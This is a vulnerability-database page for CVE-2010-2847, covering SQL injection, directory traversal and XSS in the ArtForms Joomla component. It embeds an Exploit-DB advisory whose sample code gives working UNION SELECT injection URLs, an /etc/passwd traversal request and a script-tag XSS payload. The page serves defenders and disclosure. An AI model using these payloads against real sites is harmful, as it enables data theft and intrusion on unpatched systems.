CVE-2010-2847

high

Published 2010-07-25 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

8.5

Description

Multiple SQL injection vulnerabilities in the InterJoomla ArtForms (com_artforms) component 2.1b7.2 RC2 for Joomla! allow remote attackers to execute arbitrary SQL commands via the viewform parameter in a (1) ferforms or (2) tferforms action to index.php, and the (3) id parameter in a vferforms action to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14263 webapps php verified text · 2 KB

Salvatore Fresta · 2010-07-07

Joomla! Component ArtForms 2.1b7.2 rc2 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

 Name              ArtForms
 Vendor            http://joomlacode.org/gf/project/jartforms/
 Versions Affected 2.1b7.2 RC2

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component  is  a  package  for an easy From
Generator for Joomla 1.0.xx. It  allows  you to generate
as  much  Forms  as  you like, you can define all fields
that  you  need and also make file upload and attachment
possible.


II. DESCRIPTION
_______________

Some parameters are not sanitised  before  being  used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version  2.1b7.2 RC2. 
Other versions may also be affected.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Directory Traversal
 C) Reflected XSS
 

A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


B) Directory Traversal
______________________

The  l  parameter  in  alikon/captcha.php is not properly
sanitised before being used to create a path  for  a file
that will be downloaded.This can be exploited to download
arbitrary  files  from   local  resources  via  directory 
traversal  attacks.


C) Reflected XSS
________________

The  afmsg  parameter  is  not  properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23


B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00


C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>


V. FIX
______

No fix.

Application impact

Vendor	Product	Versions	Fixed
gonzalo_maser	com_artforms	`2.1b7.2`
joomla	joomla\!

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.